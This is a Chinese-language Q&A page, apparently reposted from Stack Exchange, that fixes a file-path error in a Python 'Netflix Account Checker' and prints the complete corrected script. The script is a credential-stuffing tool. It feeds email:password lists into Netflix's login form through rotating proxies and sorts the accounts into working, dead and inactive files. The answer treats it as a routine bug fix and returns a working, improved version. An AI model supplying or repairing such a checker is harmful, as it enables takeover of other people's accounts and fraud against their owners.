Netflix账号检查器报错修复:stat参数类型错误
Netflix账号检查器脚本错误修复
错误根源
报错stat: path should be string, bytes, os.PathLike or integer, not TextIOWrapper是因为main()函数中,你先打开文件得到accounts文件对象,随后将这个对象传给了path.exists()和path.getsize()——这两个函数需要的是文件路径字符串,而非已经打开的文件句柄。
修复后的完整代码
#!/usr/bin/python from __future__ import division from progressbar import ProgressBar from mechanize import Browser from os import path from random import randint from time import sleep working=[] dead=[] notActive=[] br = Browser() def testAccount(email,password,typeProxy): global currentProxy global br logoutURL = 'https://www.netflix.com/SignOut?lnkctr=mL' page = 'Sorry, we are unable to process your request.' while (page.find('Sorry, we are unable to process your request.') != -1): try: proxies("Default") loginURL = 'https://www.netflix.com/login' br.set_handle_equiv(True) br.set_handle_redirect(True) br.set_handle_referer(True) br.set_handle_robots(False) br.addheaders = [('User-agent', 'Firefox')] if (currentProxy != ''): if (typeProxy != 'HTTP'): br.set_proxies({"socks5": currentProxy}) else: br.set_proxies({"HTTP": currentProxy}) else: br.set_proxies() br.open(loginURL) br.select_form(nr=0) br.form['userLoginId'] = email br.form['password'] = password response = br.submit() if (response.code == 200): page = response.read().decode() if (page.find('Sorry, we are unable to process your request.') != -1): pass elif (response.geturl().find('browse') != -1): br.open(logoutURL) working.append(email+':'+password+'\n') elif (page.find('Finish Sign-up') != -1): br.open(logoutURL) notActive.append(email+':'+password) elif (response.geturl().find('getstarted') != -1): br.open(logoutURL) notActive.append(email+':'+password) elif (response.code == 500): errorFile = open('error.txt', 'a+') errorFile.write('500-Bad Gateway: currentProxy') errorFile.close() elif (page.find('Incorrect password') != -1): dead.append(email+':'+password) elif (page.find('find an account with this email address.') != -1): dead.append(email+':'+password) else: print('Unknown Error. (7)') errorFile = open('error.txt', 'a+') errorFile.write(response.geturl()+'\n'+page) errorFile.close() else: print('Error: '+str(response.code)+' Trying again.') except Exception as errorMsg: print (response.geturl().find('getstarted')) errorFile = open('error.txt', 'a+') errorFile.write(response.geturl()+'\n'+page) errorFile.close() br.open(logoutURL) sleep(3) def writeToFile(): global working global dead global notActive workingAccounts = open('workingAccounts.txt', 'w+', encoding="utf-8") deadAccounts = open('deadAccounts.txt', 'w+', encoding="utf-8") nonActiveFile = open('notActive.txt', 'w+', encoding="utf-8") for all in working: workingAccounts.write(all) for all in dead: deadAccounts.write(all) for all in notActive: nonActiveFile.write(all) workingAccounts.close() deadAccounts.close() nonActiveFile.close() print ('') print ('Summary:') print ('--------') print ('') print ('Working accounts: ' + str(len(working))) print ('Inactive Accounts: '+ str(len(notActive))) print ('Dead accounts: ' + str(len(dead))) print ('') def proxies(country): global currentProxy proxyFile = "proxy-Default.txt" if (path.exists(proxyFile) and path.getsize(proxyFile) > 0): lines = open(proxyFile, "r") filestream = open(proxyFile, "r") randomProxyID = randint(0,sum(1 for row in lines) - 1) for proxyID, proxy in enumerate(filestream): if (proxyID == randomProxyID): currentProxy = proxy break filestream.close() else: currentProxy = '' def main(): global debug global working global dead print('') print ('########################################################') print ('#### Netflix Account Checker ####') print ('#### Coded by Abdes Salam ####') print ('#### ####') print ('#### DZ FAMILY TECH ####') print ('########################################################') print ('') try: acc_file_path = 'checkAccounts.txt' # 先检查路径是否存在且不为空 if path.exists(acc_file_path) and path.getsize(acc_file_path) > 0: # 统计文件行数,避免重复打开 with open(acc_file_path, "r", encoding="utf-8") as f: maxValue = sum(1 for _ in f) progress = 0 pbar = ProgressBar(maxval=maxValue).start() # 重新打开文件读取内容 with open(acc_file_path, "r", encoding="utf-8") as filestream: for line in filestream: pbar.update(progress) progress += 1 line = line.strip() # 去掉换行和空格 if not line: continue accountArgument = line.split(':') args = len(accountArgument) if args == 2: email = accountArgument[0] password = accountArgument[1] testAccount(email,password,'HTTP') else: print(f'格式错误,跳过此行: {line}') pbar.finish() writeToFile() else: print('Accounts file is empty or does not exist!') print('') except Exception as errorMsg: print('') print(errorMsg) print('An error occurred.. Saving progress...') print('') writeToFile() if __name__ == "__main__": main()
关键修改点
- 文件检查逻辑调整:定义文件路径字符串
acc_file_path,用这个字符串传给path.exists()和path.getsize(),而非打开后的文件对象。 - 避免重复打开文件:统计行数时用
with语句打开一次,之后重新打开读取内容,避免文件指针位置异常。 - 增加格式容错处理:跳过空行,当账号格式不是
邮箱:密码时,明确提示错误行内容。 - 精简格式判断:原代码判断
args ==3 or args==2,但账号格式应为两部分,故只保留args==2,避免错误识别。
内容的提问来源于stack exchange,提问作者Aymeric Lefebvre
相关产品推荐
相关产品推荐

